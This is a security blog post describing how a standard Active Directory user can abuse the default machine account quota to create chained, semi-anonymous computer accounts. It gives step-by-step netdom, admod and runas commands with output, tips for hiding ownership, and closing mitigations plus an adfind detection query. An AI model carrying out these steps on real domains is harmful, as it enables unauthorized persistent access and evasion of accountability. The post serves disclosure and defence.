Creating infinite semi-anonymous accounts in Active Directory as a standard user

I have been looking at computer accounts on and off over the last few months for various security risks associated with them, and found a few interesting things. One of which is a default configuration for active directory that allows users to join a limited number of computers to a domain without having any specific delegated rights to do so.

Note: if the domain has been modified to drop the quota of allowed joined computers to zero, and a few other methods can block this, so it will only work in a Active Directory environment where low level customizations have not been done. In all versions of windows 2000 - 2008RC2, by default, users have a quota of 10 computers accounts which is controlled by the ms-DS-MachineAccountQuota attribute in the Domain's top level object. If you are an AD administrator, go set this to zero right now.

There are a few interesting points to this. When I say that a user has rights to join a machine, they cannot directly create a computer account in active directory using management tools as they don't have the rights. However, the act of joining a machine to the domain works (obviously), or you can just use netdom to create the computer account without joining any real machine. You may be saying, so what, its just a computer object. If you read my previous post about accounts that can't be locked out (computer accounts), you will also see the default permissions on computer objects give excessive rights to the creator/owner of the object. This allows for some continued problems.

When the end user creates a computer object, I refer to it as being capable of being a semi-anonymous generic account. The reason for semi-anonymous is that the user is the owner of the object and they don't have permissions to change the permissions, also there is an attribute mS-DS-CreatorSID which will be filled in with the creating user's SID. To create a layer between one of these computer accounts and a user object, if you have Admin rights to a machine you can schedule tasks to run under the BUILTIN\System context. In this case, the computer running the task will own the computer object. If a machine has multiple administrators, this creates a deniability layer between the user and the computer object. Otherwise, you could always try social engineering, or some other method to get someone that does have the rights to remove some of the traces of ownership, or grant you rights to the object so you can make it anonymous (not counting backups, systems that record object changes, and forensics that may get the original owner information).

To have a fully anonymous computer account, you can create your first level account, modify some attributes in that, log in with the computer account, and create more computer accounts that are now no longer tied to the original human user account object. (As mentioned early, every user has a 10 machine quota by default. Computer accounts are users, and can have 10 of their own, making the infinite generic accounts possible). This is where the bad default permissions on computer objects comes in. The create/owner has rights to edit the UserAccountControl attribute and set the password to the account. Using a helpful tool called admod (joeware), you can set the password and change the UserAccountControl values to allow interactive logons.

Putting it together, lets assume we have a domain called CompSecTest.2k3.local.


C:\Documents and Settings\nathan>netdom add maliciousAccount /domain:compsectest.2k3.local
The command completed successfully.

C:\Documents and Settings\nathan\Desktop>admod -b "cn=maliciousAccount,cn=computers,dc=compsectest,dc=2k3,dc=local" "unicodepwd::Password1" -optenc

AdMod V01.13.00cpp Joe Richards (joe@joeware.net) April 2010

DN Count: 1
Using server: DC2K3-1.compsectest.2k3.local:389
Directory: Windows Server 2003

Modifying specified objects...
DN: cn=maliciousAccount,cn=computers,dc=compsectest,dc=2k3,dc=local...

The command completed successfully

###SET UAC to 512 to act like a normal user and bypass interactive logon restrictions

C:\Documents and Settings\nathan\Desktop>admod -b "cn=malicious,cn=computers,dc=compsectest,dc=2k3,dc=local" "useraccountcontrol::512"

AdMod V01.13.00cpp Joe Richards (joe@joeware.net) April 2010

DN Count: 1
Using server: DC2K3-1.compsectest.2k3.local:389
Directory: Windows Server 2003

Modifying specified objects...
DN: cn=malicious,cn=computers,dc=compsectest,dc=2k3,dc=local...

The command completed successfully


C:\Documents and Settings\nathan\Desktop>runas /user:compsectest1\maliciousAccount$ cmd
Enter the password for compsectest1\MaliciousAccount$:
Attempting to start cmd as user "compsectest1\MaliciousAccount$" ...


C:\WINDOWS\system32>whoami
compsectest1\maliciousAccount$


C:\WINDOWS\system32>netdom add malicious2 /domain:compsectest.2k3.local
The command completed successfully.


C:\WINDOWS\system32>admod -b "cn=malicious2,cn=computers,dc=compsectest,dc=2k3,dc=local" -optenc "unicodepwd::Password1"

AdMod V01.13.00cpp Joe Richards (joe@joeware.net) April 2010

DN Count: 1
Using server: DC2K3-1.compsectest.2k3.local:389
Directory: Windows Server 2003

Modifying specified objects...
DN: cn=malicious2,cn=computers,dc=compsectest,dc=2k3,dc=local...

The command completed successfully


C:\temp>admod -b "cn=malicious2,cn=computers,dc=compsectest,dc=2k3,dc=local" -optenc
"useraccountcontrol::512"

AdMod V01.13.00cpp Joe Richards (joe@joeware.net) April 2010

DN Count: 1
Using server: DC2K3-1.compsectest.2k3.local:389
Directory: Windows Server 2003

Modifying specified objects...
DN: cn=malicious2,cn=computers,dc=compsectest,dc=2k3,dc=local...

The command completed successfully


Now that you are here, you have a generic computer account with interactive logon capabilities that is one level removed from a standard user account. This can continue until there are so many computer accounts owned, that stopping the use of them may require a mass deletion of objects in the Computers container which could have other impact on legitimate accounts. So, as administrators we should take steps to prevent this type of activity. This can include redirecting the default computers container elsewhere and putting restricted permissions there, dropping the default quota value to zero, changing the schema to reduce the creator/owner level default permissions on computer objects, and editing the default group policy rights to remove the Authenticated Users object in the Add machines to the domain right. These steps can reduce risks from non-privileged users, but for higher privileged users that need the ability to manage computer accounts, and combination of schema permissions changes and a tight least privilege method of rights to computer accounts can help prevent the interactive capability of a computer account. When a computer account is at its base UserAccountControl value it can't log in interactively, be used for services, or scheduled tasks, but it can be used to access network shares. Monitoring the environment for any computer objects with UAC bits flipped to the wrong values could also be a good idea.

One way to find this type of account is with another joeware utility (adfind):

adfind -gc -b dc=compsectest,dc=2k3,dc=local -s subtree -bit -f "(&(objectcategory=computer)(objectclass=computer)(useraccountcontrol:OR:=512))" -t 15000 distinguishedname